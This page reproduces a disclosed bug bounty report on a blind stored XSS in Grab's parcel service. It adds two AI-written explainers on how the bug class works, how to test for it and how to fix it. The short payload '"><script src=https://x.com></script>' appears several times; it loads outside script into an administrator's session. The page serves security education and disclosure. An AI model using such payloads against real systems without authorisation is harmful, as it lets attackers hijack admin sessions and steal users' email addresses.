Skip to content
XSS Disclosed report Beginner

Blind stored xss [parcel.grab.com] > name parameter

A user's name field was stored without sanitisation and later rendered on an admin page of a third-party tracking service, so a crafted name executed script in the admin's browser. An attacker could run code in the admin session and read the user data, including email addresses, shown on that page.

paresh_parmar Follow

Originally disclosed on HackerOne

Bounty$750 Critical View original
  • Disclosed after 57 days

Hi,

my previously reported blind xss is fixed but i found same type of xss in diffrent area with more impact.

Steps to repro:

  1. create new account with name "><script src=https://x.com></script> here https://parcel.grab.com/
  2. afftected page is https://app.detrack.com/a/

where admin can see all the user's of application and this is one more impact full because it contains all the user's email address. attacker can hijack all the information from there using xss affeffcted page poc: {F204498██████████ 3. go here https://app.detrack.com/a/ and find ████████ , that is my account with xss payload.

thanks

The original report as published on HackerOne, by paresh_parmar. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 5 min read.

What the report shows

The target is the Grab parcel tracking service at https://parcel.grab.com/, and the affected page is the administrative interface at https://app.detrack.com/a/, where an administrator can see all users of the application. The researcher states that a blind XSS he had reported previously was fixed, but that the same class of bug remained in a different area, with more impact.

The reproduction is short:

  1. Create a new account with the following value as the name:
Text
"><script src=https://x.com></script>
  1. The payload is stored and later rendered on https://app.detrack.com/a/, the page where the administrator views the user list. The researcher notes that this page also contains all users' email addresses, so an attacker who gets script execution there can harvest that information.

  2. To locate the injected record, go to https://app.detrack.com/a/ and find the account carrying the payload.

The report includes a redacted proof-of-concept reference for the affected page. The report does not describe the server response, the exact HTML context in which the name is rendered, or any request or response headers.

The platform records the report as a critical-severity stored cross-site scripting issue, disclosed on 14 September 2017, with a bounty of 750.00 USD. The report text itself does not discuss a fix.

Root cause

The report points to a stored XSS in the account name field: a value supplied by a low-privileged user at registration is persisted and later rendered in an administrative listing without adequate output encoding. The payload begins with ">, which may suggest the name is placed inside an HTML attribute, but the report does not state the rendering context. That context is implied by the payload rather than stated in the report.

The more interesting part is the trust boundary. The input is entered by an ordinary user, but the output is consumed by an administrator in a different application. The researcher says a previously reported blind XSS was fixed and that the same type of bug remained in a different area.

Impact

The researcher's stated impact is that the administrative page lists all users together with their email addresses, and that an attacker can use the XSS to hijack that information. The report says an attacker can hijack the information on the page using the XSS.

How this kind of bug works

Stored XSS happens when untrusted data is saved by the application and later included in a response without context-appropriate encoding. The browser cannot distinguish data from markup, so any HTML metacharacters in the stored value are interpreted. When the value lands inside an attribute, a double quote can terminate the attribute and let an event handler or a new element be introduced; when it lands in a script block or a URL, different break-out characters apply.

The blind variant arises when the sink is on a page the attacker cannot reach, typically an administrative dashboard, a support console, a log viewer or an email client. The attacker submits the payload and waits for someone with more privilege to view it. Detection therefore depends on an out-of-band channel, such as a request to a host the attacker controls, because the attacker never sees the rendered page.

The defences are the usual ones: contextual output encoding at every sink, HTML sanitisation where rich text is genuinely required, a restrictive Content Security Policy that blocks inline and third-party script, and treating all user-controlled fields as hostile regardless of which page renders them. Input validation alone is not a reliable fix, because the same value may be rendered in several contexts.

How to test for it

  1. Map every field a low-privileged user can write: profile names, company names, addresses, support ticket subjects, file names, comments, and anything that might appear in an admin view.
  2. For each field, submit a unique canary value that would trigger an out-of-band callback if rendered as markup, for example an element with an event handler pointing at a host you control, or a script source pointing at that host. Keep the canary tied to the specific field so you can attribute a hit.
  3. Exercise the application as the privileged user would: open the admin listing, the user detail page, exports, notification emails and any internal tooling you are authorised to use. Where you cannot reach the privileged view, rely on the callback.
  4. A positive result is a request arriving at your listener from the target's infrastructure, ideally carrying the session context of the viewing user. Record the time, the field and the page that triggered it.
  5. Common false positives: your own browser rendering the value on a page you can already see, a callback caused by an email scanner or link preview bot rather than a real user, and payloads that are stored but encoded correctly and only appear as text. Confirm which context produced the hit before reporting.

How it is fixed

Apply contextual output encoding wherever the stored value is rendered, including administrative interfaces, exports and emails. Where users legitimately need formatted content, run it through a well-maintained sanitiser with an allowlist. Add a Content Security Policy that disallows inline script and restricts script sources, which limits the damage of any encoding mistake that remains. Review the whole data flow for the field, not just the page where it was first reported, since the same value often has several sinks.

Hunting notes

This class tends to hide in secondary interfaces: admin panels, moderation queues, analytics dashboards, CRM and support tools, and anything built on a separate hostname from the main application. Fields that flow into those views are the ones worth testing, especially names and free-text fields that seem harmless on the user-facing side. Recon signals include a registration or profile form on one host and an administrative application on another, third-party SaaS dashboards referenced in the product, and any feature that aggregates user data for staff. To make a report land, show the callback with a timestamp, identify the exact field and the page that rendered it, and explain what the viewing user can do so the program can judge severity. Keep the payload minimal and avoid touching real user data beyond what is needed to prove execution.

The original is short, so this covers everything it reports, then explains this kind of bug in general: how it works, how to test for it and how it is fixed. The general sections are about the bug class, not this target. Written with AI and checked against the original; the original is the record. 8 min read.

What happened, in plain words

This report is about a security flaw in a parcel tracking service run by Grab. The service has a public website where people can create an account, and a separate administrative website where staff can see a list of all users. The researcher found that a value a normal user types when creating an account, specifically their name, is saved and later shown on the administrative page without being made safe. Because of that, a normal user can put a small piece of code into their name, and that code will run in the browser of any administrator who opens the user list.

The researcher says he had reported a similar bug before, which was fixed, but the same kind of problem remained in a different place and had more impact this time. The affected page is https://app.detrack.com/a/, where an administrator can see all users of the application, including their email addresses. If code runs there, an attacker could take that information.

The steps to reproduce are short:

  1. Create a new account at https://parcel.grab.com/ and use this exact value as the name:
Text
"><script src=https://x.com></script>
  1. The value is stored and later appears on https://app.detrack.com/a/, the page where the administrator views the user list. The researcher notes that this page also contains all users' email addresses, so an attacker who gets code to run there can harvest that information.

  2. To find the injected record, go to https://app.detrack.com/a/ and look for the account carrying the payload.

The report includes a redacted proof-of-concept reference for the affected page. The report does not describe the server response, the exact place in the page's HTML where the name is inserted, or any request or response headers.

The platform records the report as a critical-severity stored cross-site scripting issue, disclosed on 14 September 2017, with a bounty of 750.00 USD. The report text itself does not discuss a fix.

Why the payload works

The payload starts with ">. That is a double quote followed by a greater-than sign. In HTML, a double quote is often used to mark the end of an attribute value, for example in <input value="something">. If the application places the user's name inside such an attribute without encoding it, the " could close the attribute early and the > could close the tag, though the report does not state the rendering context. Everything after that is treated as new HTML by the browser. The rest of the payload, <script src=https://x.com></script>, is a script tag that tells the browser to load and run a JavaScript file from https://x.com.

This is called stored cross-site scripting, or stored XSS. The word "stored" means the malicious value is saved by the application, not just reflected back once. The word "blind" is used when the attacker cannot see the page where the value is eventually shown. Here the attacker types the name on the public parcel site, but the value is rendered on a separate administrative site that the attacker has no access to. The attacker has to wait for an administrator to open the user list, and then the script runs in the administrator's browser, with the administrator's session.

Impact

The researcher's stated impact is that the administrative page lists all users together with their email addresses, and that an attacker can use the XSS to hijack that information. The report says an attacker can hijack the information on the page using the XSS.

In general, how this kind of bug works

Stored XSS happens when an application saves data from a user and later includes it in a page without proper encoding. The browser cannot tell the difference between data and markup, so any HTML special characters in the saved value are interpreted as instructions. When the value lands inside an attribute, a double quote can end the attribute and let a new element or event handler be introduced. When it lands inside a script block or a URL, different characters are needed to break out.

The blind variant appears when the place where the value is shown is a page the attacker cannot reach, typically an administrative dashboard, a support console, a log viewer or an email client. The attacker submits the payload and waits for someone with more privilege to view it. Detection therefore depends on an out-of-band signal, such as a request to a host the attacker controls, because the attacker never sees the rendered page.

The defences are the usual ones: encode output for the exact context at every place a value is rendered, sanitise HTML where rich text is genuinely required, use a restrictive Content Security Policy that blocks inline and third-party script, and treat every user-controlled field as hostile regardless of which page renders it. Input validation alone is not a reliable fix, because the same value may be rendered in several different contexts.

In general, how to test for it

  1. Map every field a low-privileged user can write: profile names, company names, addresses, support ticket subjects, file names, comments, and anything that might appear in an admin view.
  2. For each field, submit a unique canary value that would trigger an out-of-band callback if rendered as markup, for example an element with an event handler pointing at a host you control, or a script source pointing at that host. Keep the canary tied to the specific field so you can attribute a hit.
  3. Exercise the application as the privileged user would: open the admin listing, the user detail page, exports, notification emails and any internal tooling you are authorised to use. Where you cannot reach the privileged view, rely on the callback.
  4. A positive result is a request arriving at your listener from the target's infrastructure, ideally carrying the session context of the viewing user. Record the time, the field and the page that triggered it.
  5. Common false positives: your own browser rendering the value on a page you can already see, a callback caused by an email scanner or link preview bot rather than a real user, and payloads that are stored but encoded correctly and only appear as text. Confirm which context produced the hit before reporting.

In general, how it is fixed

Apply contextual output encoding wherever the stored value is rendered, including administrative interfaces, exports and emails. Where users legitimately need formatted content, run it through a well-maintained sanitiser with an allowlist. Add a Content Security Policy that disallows inline script and restricts script sources, which limits the damage of any encoding mistake that remains. Review the whole data flow for the field, not just the page where it was first reported, since the same value often has several sinks.

In general, where to look

This class tends to hide in secondary interfaces: admin panels, moderation queues, analytics dashboards, CRM and support tools, and anything built on a separate hostname from the main application. Fields that flow into those views are the ones worth testing, especially names and free-text fields that seem harmless on the user-facing side. Recon signals include a registration or profile form on one host and an administrative application on another, third-party SaaS dashboards referenced in the product, and any feature that aggregates user data for staff. To make a report land, show the callback with a timestamp, identify the exact field and the page that rendered it, and explain what the viewing user can do so the program can judge severity. Keep the payload minimal and avoid touching real user data beyond what is needed to prove execution.

Glossary

  • Stored XSS: a security bug where a value saved by the application is later shown in a page without proper encoding, so it can run as code in a viewer's browser.
  • Blind XSS: a stored XSS where the attacker cannot see the page that renders the payload, usually because it is an administrative page.
  • Payload: the specific piece of text or code an attacker submits to trigger a bug.
  • Attribute: a setting inside an HTML tag, such as value="...", written as a name and a value.
  • HTML encoding: converting special characters like <, > and " into safe representations so the browser treats them as text, not markup.
  • Script tag: an HTML element, <script>, that tells the browser to load and run JavaScript.
  • Session: the state that keeps a user logged in across requests, usually tied to a cookie or token.
  • Cookie: a small piece of data a website stores in the browser and sends back with later requests, often used to identify a logged-in user.
  • Token: a value used to prove identity or authorisation, often sent with requests instead of or alongside a cookie.
  • Content Security Policy (CSP): a set of rules a website sends to the browser saying which sources of script and other content are allowed.
  • Sanitiser: a tool that removes dangerous parts from user-supplied HTML while keeping safe formatting.
  • Allowlist: a list of things that are explicitly permitted, with everything else denied.
  • Out-of-band callback: a request sent to a server the tester controls, used to detect that code ran even when the tester cannot see the page.
  • Canary value: a unique marker submitted into a field so that, if it appears somewhere unexpected, the tester can tell which input caused it.
  • False positive: a signal that looks like a bug but is not, for example a callback caused by an email scanner rather than a real user.
  • Sink: the place in an application where data is inserted into a page or another output.
  • Trust boundary: the line between users with different levels of privilege, such as a normal user and an administrator.
  • Exfiltration: taking data out of a system without authorisation.
  • Proof of concept (PoC): a demonstration, often a screenshot or a small test, that shows a bug is real.

More by paresh_parmar

View all

11 more disclosed reports, best first.

More from Grab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.